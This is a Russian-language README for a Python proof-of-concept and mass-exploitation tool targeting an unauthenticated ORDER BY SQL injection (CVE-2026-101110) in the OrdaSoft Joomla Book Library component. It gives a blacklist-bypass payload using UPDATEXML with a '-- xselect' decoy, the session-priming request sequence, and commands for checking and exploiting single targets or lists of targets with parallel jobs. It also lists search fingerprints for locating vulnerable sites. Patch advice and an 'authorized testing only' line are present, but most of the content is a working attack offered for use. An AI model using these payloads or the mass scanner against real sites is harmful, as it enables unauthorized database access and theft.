
Python 3 PoC и массовый эксплойт для CVE-2026-101110 — неаутентифицированная SQL-инъекция через ORDER BY в OrdaSoft Joomla Book Library <=6.4.6 с использованием параметров field/direction.
Python 3 PoC для CVE-2026-101110 — OrdaSoft Book Library (Free) для Joomla ≤ 6.4.6. Обновитесь до 6.4.7+.
| PoCbit | https://pocbit.org/pocs/cve-2026-101110 |
| Каталог | https://pocbit.org/pocs/ |
| Компонент | com_booklibrary |
| Файл / функция | site/booklibrary.php → books() |
| Параметры | field, direction (сортировка) |
| Аутентификация | Отсутствует (публичные списки книг) |
| CWE | CWE-89 SQL Injection |
| CVSS 4.0 | 9.3 Critical (Joomla CNA) |
| Благодарность | Ala Arfaoui |
Book Library (Free) — это расширение OrdaSoft, предоставляющее списки книжных библиотек / категорий в Joomla. В версиях 6.4.6 и более ранних функция books() фильтрует параметры field и direction с помощью protectInjectionWithoutQuote(). Эта функция реализует лишь слабый чёрный список, ищущий подстроку select; при обнаружении она оборачивает значение в $db->quote(), а не отклоняет его.
Значения затем добавляются в незакавыченное выражение ORDER BY — использование кавычек здесь не предотвращает SQL-инъекцию (описание CNA).
Для эксплуатации требуются два условия:
field / direction). -- xselect; она проходит проверку чёрного списка, а SQL-комментарий нейтрализует остаток полезной нагрузки.Результат: ORDER BY SQLi без аутентификации, критический риск для чтения/записи базы данных и целостности сайта.
Request 1 (prime): ...&field=title&direction=ASC → session sort defaults
Request 2 (inject): ...&field=<expr> -- xselect&direction=ASC
└─ concatenated into ORDER BY (unquoted)
Слабый фильтр (концептуально):
select (подстрока) → всё значение оборачивается в кавычки (не имеет значения в контексте ORDER BY).-- xselect, чтобы чёрный список увидел select внутри хвоста комментария, тогда как активное выражение перед -- остаётся исполняемым SQL (error-based / UPDATEXML / stacked ORDER BY приёмы).PoC реализует:
| Шаг | Действие |
|---|---|
| Fingerprint | Пути com_booklibrary + опциональная версия из манифеста |
| Route discovery | showCategory, search, showBooks, books, … + спарсенные catid / Itemid |
| check | Инициализация сессии → подтверждение SQLi (флаг / VERSION()) |
| exploit | Инициализация → извлечение через --subquery (по умолчанию SELECT VERSION()) |
| mass | --list + -j параллельных целей; exploited.txt при успешной утечке |
Константа суффикса полезной нагрузки в коде: -- xselect (BLACKLIST_DECOY).
cd CVE-2026-101110
pip install -r requirements.txt
python poc.py -u https://target.example --mode check
python poc.py -u https://target.example --mode check --aggressive
python poc.py -u https://target.example --mode exploit
python poc.py -u https://target.example --mode exploit --subquery "SELECT user()"
python poc.py --list targets.example.txt --mode check -j 40 --vuln-list hits.txt
python poc.py --list hits.txt --mode exploit -j 12 --subquery "SELECT VERSION()" --exploited-list exploited.txt
| Флаг | Значение |
|---|---|
--aggressive | В режиме check пытается извлечь версию после инициализации |
--subquery | Внутреннее выражение для UPDATEXML / double-query полезных нагрузок |
--exploited-list | Успешные извлечения, разделённые табуляцией |
--no-color | Отключить ANSI (также NO_COLOR) |
JSONL: pocbit, pocbit_catalog, pocbit_page, cve, component, session_primed.
Инициализация (сессия):
GET /index.php?option=com_booklibrary&task=showCategory&catid=1&field=title&direction=ASC HTTP/1.1
Инъекция (PoC добавляет приманку):
GET /index.php?option=com_booklibrary&task=showCategory&catid=1&field=UPDATEXML(1,CONCAT(0x7e,(VERSION()),0x7e),1) -- xselect&direction=ASC HTTP/1.1
POST-варианты пробуются на том же маршруте, если GET не срабатывает.
Манифест (если доступен):
/administrator/components/com_booklibrary/booklibrary.xml≤ 6.4.6 → уязвимая строка; ≥ 6.4.7 → исправлено (patched_version в выводе check).
body="option=com_booklibrary"
body="/components/com_booklibrary/" && body="Joomla"
body="com_booklibrary" && (body="booklibrary" || body="Book Library")
body="ordasoft" && body="booklibrary"
| CVE | Расширение | Проблема | Исправлено |
|---|---|---|---|
| CVE-2026-101110 | Book Library | ORDER BY SQLi + обход чёрного списка | 6.4.7 |
| CVE-2026-101111 | Book Library | Отражённый XSS (параметр title) | 6.4.7 |
| CVE-2026-101108 | Vehicle Manager | ORDER BY SQLi | 6.5.8 |
| CVE-2026-100752 | Real Estate Manager | ORDER BY SQLi | 6.7.9 |
Патчите все развёрнутые компоненты OrdaSoft.
com_booklibrary в задачах search/lend (CVE-2010-1522) — другие пути кодаТолько авторизованное тестирование и проверка патчей.
CVE-2026-101110 PoC: OrdaSoft Joomla Book Library (Free) <=6.4.6 unauth SQLi — field/direction ORDER BY, session prime + `-- xselect` blacklist bypass (com_booklibrary). Colored check + mass exploit, CVSS 9.3. https://pocbit.org/pocs/cve-2026-101110